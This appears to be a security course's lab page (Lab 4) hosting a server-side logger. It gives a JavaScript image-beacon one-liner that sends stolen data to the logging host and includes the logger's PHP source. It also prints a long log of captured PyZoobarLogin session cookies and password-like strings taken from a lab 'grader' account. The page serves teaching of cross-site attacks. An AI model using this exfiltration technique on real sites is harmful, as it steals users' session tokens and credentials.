Lab 4 Logging Script

You can use this server side script to extract data from client-side JavaScript. For example, clicking this client-side hyperlink will cause the server to log the payload: 

(new Image()).src='https://css.csail.mit.edu/6.566/2026/labs/log.php?' + 'id=my-username' + '&payload=some-string' + '&random=' + Math.random();

The random argument is ignored, but ensures that the browser bypasses its cache when downloading the image. We suggest that you use the random argument in your scripts as well. The ID argument will help you distinguish your log entries from those sent by other students; we suggest picking your MIT Athena username. Newlines are not allowed in javascript: links; if this bothers you, try URL encoding.

Test form

If you just want to try out the script, you can use this form. (For your actual attacks in lab 4, you'll probably want to use the JavaScript image technique shown above.)


(some identifier to locate your payload in the log)


(the information you stole)

Logged entries

Below are the most recent logged entries, so that you can check if your attack worked: 

Wed, 21 Oct 2026 09:57:02 +0000: hangdaye666: PyZoobarLogin=grader#9b077633a618ef465561cd81521f97b89abcd5e8065e68c7c2ac1057189fa15f
Wed, 21 Oct 2026 09:53:19 +0000: hangdaye666: PyZoobarLogin=grader#6c10fc531240ae27d5651d7b3a3e87e8c9ca89db5f18e373ccc7ba04a0cfc5ca
Wed, 21 Oct 2026 09:50:24 +0000: student-your-id: PyZoobarLogin=grader#2c792465deaa246de282291cd4f0a39efeda4ed7989f1d6ef6d1cae52ab67e74
Wed, 21 Oct 2026 05:56:11 +0000: mat: PyZoobarLogin=grader#380ab29d16f09c9360428c3df97469927df1b6f3e88b31c47c0a4910eab3ae86
Wed, 21 Oct 2026 05:56:05 +0000: mat: PyZoobarLogin=grader#2dde0f8339220ccd1519f460a019247570efe0b0d9b152dc68f13eaec5895699
Wed, 21 Oct 2026 05:55:53 +0000: mat: PyZoobarLogin=grader#871ca0c5b0bd892634a1ac934924bc020adb496a8f03ee7c8ae6cbfc991f9eae
Wed, 21 Oct 2026 05:37:37 +0000: nobody: grader/JDVZTAIGHVEJ
Wed, 21 Oct 2026 05:37:29 +0000: nobody: grader/AHCCIGQROSSI
Wed, 21 Oct 2026 05:36:59 +0000: nobody: PyZoobarLogin=grader#614c604df25a0246e8d5664063bc8fdf800b3d1b96ba82e75b2b594dbdb7bd72
Wed, 21 Oct 2026 05:36:50 +0000: nobody: PyZoobarLogin=grader#9009009f38dd2f47017a101d37e0183f9f74f1afbdc829ebfd2949750291398f
Wed, 21 Oct 2026 05:36:28 +0000: nobody: PyZoobarLogin=grader#490fbefe013b8cbaaab6d87679994a605f6cfa43b1ed7f740e9d625bf2be393e
Wed, 21 Oct 2026 05:31:11 +0000: nobody: grader/GTFVIFBVQDAU
Wed, 21 Oct 2026 05:30:59 +0000: nobody: grader/PVQNRLHPICIX
Wed, 21 Oct 2026 05:30:22 +0000: nobody: PyZoobarLogin=grader#cc4814a67687d470fbfb957a435e3ee4e6ffe67401fa0cadc61e148f696f7d5a
Wed, 21 Oct 2026 05:30:11 +0000: nobody: PyZoobarLogin=grader#d7031dd6dcdac3d45277bc8d9cf2b084147e937a56c743a2cdc9ccc07c90b41c
Wed, 21 Oct 2026 05:29:50 +0000: nobody: PyZoobarLogin=grader#322a57a3ce11333f3b55cb1988eef78795c4f3ca696385e48a7c2f711a19cea0
Wed, 21 Oct 2026 05:15:14 +0000: nobody: grader/IGJSNZNFQIZB
Wed, 21 Oct 2026 05:15:03 +0000: nobody: grader/WSAHJLDUWTEV
Wed, 21 Oct 2026 05:14:21 +0000: nobody: PyZoobarLogin=grader#eb9b13a8603e90f519605d53a49570fa94bdea4e468b4239f59eb0150c0f0eae
Wed, 21 Oct 2026 05:14:10 +0000: nobody: PyZoobarLogin=grader#02b95e6bf4336520100fda079ead79bfb6df8a051cff7bd9b5626d08cb6563cd
Wed, 21 Oct 2026 05:13:47 +0000: nobody: PyZoobarLogin=grader#1f21609b3f5b53f5715ae30e6d0ee331720aab424dc1e4657b31bd498984502e
Wed, 21 Oct 2026 04:57:06 +0000: mat: PyZoobarLogin=matias#10fd2c9ce6e7e29ff1d12663c3f307a3
Wed, 21 Oct 2026 04:53:31 +0000: 123: grader/JEQWPODJUBFE
Wed, 21 Oct 2026 04:53:21 +0000: 123: grader/TSBWOZOKCAIQ
Wed, 21 Oct 2026 04:52:46 +0000: 123: PyZoobarLogin=grader#ea94cbce21f3780bf6e65edb5e07aa7697ef3c52234fd9d9be17fdda24bc8976
Wed, 21 Oct 2026 04:52:36 +0000: 123: PyZoobarLogin=grader#7b5a084f560a924e5daded799a4a8e937961ac8e634a5e0025e077fd995e69cb
Wed, 21 Oct 2026 04:52:18 +0000: 123: PyZoobarLogin=grader#371b05bc09fe06ce5fa9b1d10184c3f5716156067ede2e509afd1aec240fc811
Wed, 21 Oct 2026 04:49:04 +0000: 123: PyZoobarLogin=grader#09b177028cf941215f68917d4dc8eb155bfca09ddd5818f6abd1fd771f0320c5
Wed, 21 Oct 2026 04:48:55 +0000: 123: PyZoobarLogin=grader#20f21ccd58e5bc9d24ac78c19ea5013d525bd0240059f8e7691b72a69fd13f3f
Wed, 21 Oct 2026 04:48:36 +0000: 123: PyZoobarLogin=grader#1ddfa35de5114e5da46c1f580d540b53f52d3c910e418bc63b0081cf634c62fe
Wed, 21 Oct 2026 04:43:44 +0000: 123: PyZoobarLogin=grader#42c86ecca06c66291bbb7f9a36c291187c6698b566b75825ca228b7d309d390b
Wed, 21 Oct 2026 04:43:34 +0000: 123: PyZoobarLogin=grader#12ce7853bb76d8bd4d38f5b1422bfde957c2e5c41a452672a7a236cd3becf4f9
Wed, 21 Oct 2026 04:43:15 +0000: 123: PyZoobarLogin=grader#48c4d96c734194f40769323dca9886b7c490867341515f7dcf5ed6dd27df9dbd
Wed, 21 Oct 2026 04:40:16 +0000: mat: PyZoobarLogin=matias#10fd2c9ce6e7e29ff1d12663c3f307a3
Wed, 21 Oct 2026 04:40:02 +0000: mat: PyZoobarLogin=matias#10fd2c9ce6e7e29ff1d12663c3f307a3
Wed, 21 Oct 2026 04:34:27 +0000: 123: PyZoobarLogin=grader#abbf567f5be0c7832ba942f7e0b50aeadecb44b237d21ccfe16318d0abea13b1
Wed, 21 Oct 2026 04:34:18 +0000: 123: PyZoobarLogin=grader#6fd96c79db45a394e488dd462568aaa11398d4ee4a67c04638610f759ad64c1d
Wed, 21 Oct 2026 04:34:01 +0000: 123: PyZoobarLogin=grader#482f7e9d5c54dbfd7ccc32f513143e9cc3c11a4538dee9fe173c35a1e454df84
Wed, 21 Oct 2026 04:32:18 +0000: mat: PyZoobarLogin=matias#b223d5deb407e119c5a9d1db3813a044
Wed, 21 Oct 2026 04:29:31 +0000: 123: PyZoobarLogin=grader#27e38c5bc6f9e69f01c381d36d087b77bf2d6ec9d8b6ff66290b127fbdd6af4c
Wed, 21 Oct 2026 04:29:00 +0000: mat: PyZoobarLogin=matias#b223d5deb407e119c5a9d1db3813a044
Wed, 21 Oct 2026 04:24:04 +0000: 123: PyZoobarLogin=grader#57b18dc98ab2e293978bee4316f8e2d71e79487977be85282e2c9eb5f7a64e97
Wed, 21 Oct 2026 04:23:55 +0000: 123: PyZoobarLogin=grader#404de5cfb2c8fb5ad317e94a1768652a860999ecf59ab9554a5b09e3e65511d8
Wed, 21 Oct 2026 04:23:39 +0000: 123: PyZoobarLogin=grader#e84ccf4a0118a857695ec00555f68bccd897e51e8af1d59820f435f95726c412
Wed, 21 Oct 2026 04:22:11 +0000: 123: PyZoobarLogin=grader#70f48a53d4ad55a311a2dc4ab5081aaf71b908eed7cd0142659fc99c171e3b76
Wed, 21 Oct 2026 04:22:03 +0000: 123: PyZoobarLogin=grader#187d209518ee79930d8caf0bfa4462c75842499388d76626a9d9b54ec5320bf7
Wed, 21 Oct 2026 04:21:45 +0000: 123: PyZoobarLogin=grader#5080f172499b54839da56129e0fe4453f5ec3283862b2d477198561879d1a7cd
Wed, 21 Oct 2026 04:21:44 +0000: yoquese: grader/QFFWFMHGDSZR
Wed, 21 Oct 2026 04:21:36 +0000: yoquese: grader/DBRIFJCXXLFT
Wed, 21 Oct 2026 04:21:07 +0000: yoquese: PyZoobarLogin=grader#4cc69b0bb8d763a917d2f5ce42f6f8dccdcd423d124419a5a3e28a1a4580f5f9
Wed, 21 Oct 2026 04:20:58 +0000: yoquese: PyZoobarLogin=grader#7449d4f557dba7b581bd9ba7b5a66985816c413c39c87fbfe004f7196f85a5a6
Wed, 21 Oct 2026 04:20:55 +0000: mat: PyZoobarLogin=matias#b223d5deb407e119c5a9d1db3813a044
Wed, 21 Oct 2026 04:20:40 +0000: yoquese: PyZoobarLogin=grader#22a8cfe704b1deefb861eb4c9fa5457f3ae86963fbc921189a179a48f570eea7
Wed, 21 Oct 2026 04:19:15 +0000: 123: PyZoobarLogin=123#6294f2408d14895b519caf09b82b2dee8c816cc435f7b03e6cf0a1b7a7ea6e28
Wed, 21 Oct 2026 04:18:40 +0000: mat: PyZoobarLogin=matias#b223d5deb407e119c5a9d1db3813a044
Wed, 21 Oct 2026 04:13:44 +0000: yoquese: grader/BKCPZJNGCLIJ
Wed, 21 Oct 2026 04:13:35 +0000: yoquese: grader/SVDJPTOCGUFZ
Wed, 21 Oct 2026 04:13:05 +0000: yoquese: PyZoobarLogin=grader#30e9cb80c59347a1634d9c864ee975fc581da51f0266799f93a148d0d3ea53ca
Wed, 21 Oct 2026 04:12:57 +0000: yoquese: PyZoobarLogin=grader#e91fa0637f0778e8191e765f356bef76ca0beafb059a32592df928615f4d927e
Wed, 21 Oct 2026 04:12:40 +0000: yoquese: PyZoobarLogin=grader#3fed8cd5b94661f9ea4da7a5b3acc6b8f461050c9eae4e6112829c2b58127254
Wed, 21 Oct 2026 04:09:39 +0000: mat: PyZoobarLogin=matias#bec5789edf1ae388c98c8ee28b2c4c19
Wed, 21 Oct 2026 04:09:04 +0000: mat: PyZoobarLogin=matias#bec5789edf1ae388c98c8ee28b2c4c19
Wed, 21 Oct 2026 04:08:11 +0000: mat: PyZoobarLogin=matias#bec5789edf1ae388c98c8ee28b2c4c19
Wed, 21 Oct 2026 04:05:43 +0000: mat: PyZoobarLogin=rafa#05213883c2267c086900ca0ab60a885c
Wed, 21 Oct 2026 04:05:32 +0000: mat: PyZoobarLogin=rafa#05213883c2267c086900ca0ab60a885c
Wed, 21 Oct 2026 04:01:17 +0000: 123: PyZoobarLogin=123#6294f2408d14895b519caf09b82b2dee8c816cc435f7b03e6cf0a1b7a7ea6e28
Wed, 21 Oct 2026 03:59:38 +0000: yoquese: grader/MJYJONIYTGWG
Wed, 21 Oct 2026 03:59:30 +0000: yoquese: grader/RAEUKOYIPZPU
Wed, 21 Oct 2026 03:58:40 +0000: yoquese: PyZoobarLogin=grader#2293e08e4ef2aeac23038c2b747e46e228e3206586fc08ff87dfd98b0a124729
Wed, 21 Oct 2026 03:58:32 +0000: yoquese: PyZoobarLogin=grader#059f02d8bb00f05b99919b0199c9090b886f2cd81db73344a0bed67d0327b73c
Wed, 21 Oct 2026 03:58:14 +0000: yoquese: PyZoobarLogin=grader#e51e36c088b2aedf0b59a18b08e7cd74d2e9325d6527690edf6b41419d93cee4
Wed, 21 Oct 2026 03:56:27 +0000: yoquese: grader/EMCFBPADDWQR
Wed, 21 Oct 2026 03:56:18 +0000: yoquese: grader/FOFYAQCIFCRJ
Wed, 21 Oct 2026 03:55:22 +0000: yoquese: PyZoobarLogin=grader#f3bdad64ddfb202e4daacaf901be70221a318652e3fde7e7fb801f93e3f2977b
Wed, 21 Oct 2026 03:55:13 +0000: yoquese: PyZoobarLogin=grader#79bd87d3ff69cfddbcf19e2aada52a6031d0ed429f82eae91dd46896495bf828
Wed, 21 Oct 2026 03:54:54 +0000: yoquese: PyZoobarLogin=grader#42f8ed34c0284721181217092f3a80b2f11e449735170d55c56a4c90d46d1089
Wed, 21 Oct 2026 03:50:56 +0000: my-username: PyZoobarLogin=grader#1240965cb1a8aeece39c3d6538f2df92efb7df47c34b5659de679bdd3871a807
Wed, 21 Oct 2026 03:50:48 +0000: my-username: PyZoobarLogin=grader#b441ab73a278e3b47b533231f3712f867aa71a656c5289664edeff64bac950f4
Wed, 21 Oct 2026 03:50:33 +0000: my-username: PyZoobarLogin=grader#73b651f9f76d679219a9d19970208322f0263c7b2e5e3582da0fe9a3d90d6de5
Wed, 21 Oct 2026 03:48:53 +0000: mat: PyZoobarLogin=rafa#05213883c2267c086900ca0ab60a885c
Wed, 21 Oct 2026 03:48:33 +0000: my-username: PyZoobarLogin=grader#bcc75f097aa2f691ee4d38d85c09f8fcde1af95994a7b99065f5b41d7776b67d
Wed, 21 Oct 2026 03:48:26 +0000: my-username: PyZoobarLogin=grader#633038a5e38e0667ebb214281caac788606f5d5d28d93cb73d34f283bfb7b3f7
Wed, 21 Oct 2026 03:48:10 +0000: my-username: PyZoobarLogin=grader#885ea209251b3895ecab9ca4c169bb59ecfe209f737a12de589e5eccff2be131
Wed, 21 Oct 2026 03:47:21 +0000: mat: PyZoobarLogin=rafa#05213883c2267c086900ca0ab60a885c
Wed, 21 Oct 2026 03:45:59 +0000: 123: PyZoobarLogin=grader#cf23ae676b7d97b9fe3f667196e787ed2ac08af1f8ce4cbf159a091c95368f3a
Wed, 21 Oct 2026 03:45:31 +0000: my-username: PyZoobarLogin=grader#6e9347dce15a8e2021357fe9153f3f6557b1c45f95d0b6b0c2509ea985f81302
Wed, 21 Oct 2026 03:45:23 +0000: my-username: PyZoobarLogin=grader#6adf1043481704c2431faa64a602f7569212a526d09c17a2c9f7c576d07bd44d
Wed, 21 Oct 2026 03:45:06 +0000: my-username: PyZoobarLogin=grader#d34fee5ccbfa12bbf10a8fafac29650f8d7743e202cc65d95fad821ffac16c7e
Wed, 21 Oct 2026 03:43:08 +0000: my-username: PyZoobarLogin=grader#6296dc1389afbcde03252d1f5a3b0d2d70fc6322d7a4e61b87341a9baef0ccc3
Wed, 21 Oct 2026 03:43:00 +0000: my-username: PyZoobarLogin=grader#bf25d4cb291ad7097a9b9678d09c97f441933be4dad98658b02f9ee26c2b686e
Wed, 21 Oct 2026 03:42:43 +0000: my-username: PyZoobarLogin=grader#77e6cd432c526bab6a5de8b032bbd87fce704bbdf3efc0e746030f340331fa15
Wed, 21 Oct 2026 03:41:49 +0000: mat: PyZoobarLogin=matias#9e5bdbb6298799810fb52cae2a41308e
Wed, 21 Oct 2026 03:40:40 +0000: my-username: PyZoobarLogin=grader#90dc690b18da1bf66f9a5d73cb052edd4ab7fdccc08311e375b17480cda46c72
Wed, 21 Oct 2026 03:40:32 +0000: my-username: PyZoobarLogin=grader#7c30ca376cdc4d4bd93808597970b1ef8d5cdc83b9d39d2e0e34531cf43987e4
Wed, 21 Oct 2026 03:40:15 +0000: my-username: PyZoobarLogin=grader#ec72c755db8fe6ee67b08a23e4c9bc5ddba0eb4639b1ed7b2c156778d18d5cf2
Wed, 21 Oct 2026 03:38:13 +0000: my-username: PyZoobarLogin=grader#c05dce0085b7ea3518c964ab7b697617f554ec63c6652dfbe2ab6fc743c04bb9
Wed, 21 Oct 2026 03:38:04 +0000: my-username: PyZoobarLogin=grader#53fed490f6db5b4db7a9953ae438e67f2c5e978dfcf871eeb2c18c64a100b2a3
Wed, 21 Oct 2026 03:37:47 +0000: my-username: PyZoobarLogin=grader#d5390cb5ab6273389c3642c78adf4a02c614a78c8cca1e576401da2d8025f30a
Wed, 21 Oct 2026 03:36:16 +0000: my-username: PyZoobarLogin=grader#fc0b5c3de4e7843c7d7cb3c48d5ad1342ad781a1f69e0c97988835e33bf23431
Wed, 21 Oct 2026 03:35:59 +0000: my-username: PyZoobarLogin=grader#fefd2b0b92e4b159e0d7cc4472644b01fba71c4f1af8207444538975fe4fdc1b
Wed, 21 Oct 2026 03:33:51 +0000: mat: PyZoobarLogin=matias#9e5bdbb6298799810fb52cae2a41308e

Source code

In case you are curious, here is the source code of this page.

<?php
header("Access-Control-Allow-Origin: *");

do {
    if (!array_key_exists("id", $_REQUEST)) {
        break;
    }

    $id = $_REQUEST['id'];
    if (strlen($id) > 1000) {
        header("HTTP/1.0 413 Payload Too Large");
        echo "ID value is larger than 1000 bytes";
        return;
    }

    if (!array_key_exists("payload", $_REQUEST)) {
        header("HTTP/1.0 400 Bad Request");
        echo "No payload given";
        return;
    }

    $payload = $_REQUEST['payload'];
    if (empty($payload)) {
        header("HTTP/1.0 400 Bad Request");
        echo "Empty payload given";
        return;
    }

    if (strlen($payload) > 1000) {
        header("HTTP/1.0 413 Payload Too Large");
        echo "Payload is larger than 1000 bytes";
        return;
    }

    if (!function_exists('apcu_add')) {
        header("HTTP/1.0 501 Not Implemented");
        echo "APCu not enabled, so no rate limiting; refusing all requests";
        return;
    }

    if (apcu_add($payload, true, 5) === false) {
        // exact same $payload was sent in the past 5 seconds
        header("HTTP/1.0 429 Too Many Requests");
        echo "That exact payload was sent very recently; rejecting";
        return;
    }

    $payload = str_replace(array("\n", "\r"), '.', $payload);
    $id = str_replace(array("\n", "\r"), '.', $id);

    $file = fopen("/tmp/6.566-2026-logger.txt", "c+");
    if ($file === false) {
        header("HTTP/1.0 503 Service Unavailable");
        echo "Failed to open log file";
        return;
    }

    if (!flock($file, LOCK_EX)) {
        header("HTTP/1.0 503 Service Unavailable");
        echo "Failed to lock log file";
        return;
    }

    $lines = array();
    while (!feof($file) && count($lines) < 100) {
        $lines[] = fgets($file);
    }
    ftruncate($file, 0);
    rewind($file);
    fwrite($file, date(DATE_RFC2822) . ": " . $id . ": " . $payload . "\n");
    foreach ($lines as &$line) {
        fwrite($file, $line);
    }

    flock($file, LOCK_UN);
    fclose($file);

    echo "Logged!";
    return;
} while(0);

$link = "(new Image()).src="
      . "'https://css.csail.mit.edu/6.566/2026/labs/log.php?'"
      . " + 'id=my-username'"
      . " + '&payload=some-string' + '&random='"
      . " + Math.random()";
?><!DOCTYPE html>
<html>
    <head>
        <link rel="stylesheet" type="text/css" href="labs.css" />
        <title>Lab 4 Logging Script</title>
    </head>
    <body>
        <h1>Lab 4 Logging Script</h1>
        <p>
            You can use this server side script to extract data from
            client-side JavaScript. For example, clicking this client-side
            hyperlink will cause the server to log the payload:
        </p>
        <pre class="tty"><a href="javascript:void(<?=$link;?>)"><?=$link;?>;</a></pre>
        <p>
            The random argument is ignored, but ensures that the browser
            bypasses its cache when downloading the image. We suggest that you
            use the random argument in your scripts as well.  The ID argument
            will help you distinguish your log entries from those sent by other
            students; we suggest picking your MIT Athena username.  Newlines are not
            allowed in <tt>javascript:</tt> links; if this bothers you, try
            <a href="https://meyerweb.com/eric/tools/dencoder/">URL encoding</a>.
        </p>

        <h2>Test form</h2>
        <p>
            If you just want to try out the script, you can use this form.
            (For your actual attacks in lab 4, you'll probably want to use the
            JavaScript image technique shown above.)
        </p>

        <form method="GET" action="">
            <label for="id">ID:</label><br />
            <input name="id" placeholder="your-mit-username" size="40" />
            <i>(some identifier to locate your payload in the log)</i>
            <br />
            <br />
            <label for="payload">Payload:</label><br />
            <input name="payload" placeholder="some-string" size="40" />
            <i>(the information you stole)</i>
            <br />
            <input type="submit" value="Log" name="log_submit" />
    </form>

    <h2>Logged entries</h2>
    <p>
        Below are the most recent logged entries, so that you can check
            if your attack worked:
    </p>

    <pre class="tty"><?php
        $lines = file_get_contents("/tmp/6.566-2026-logger.txt");
        echo htmlspecialchars($lines);
    ?></pre>

        <h2>Source code</h2>
        <p>In case you are curious, here is the source code of this page.</p>
        <pre><?php highlight_file(__FILE__); ?></pre>
    </body>
</html>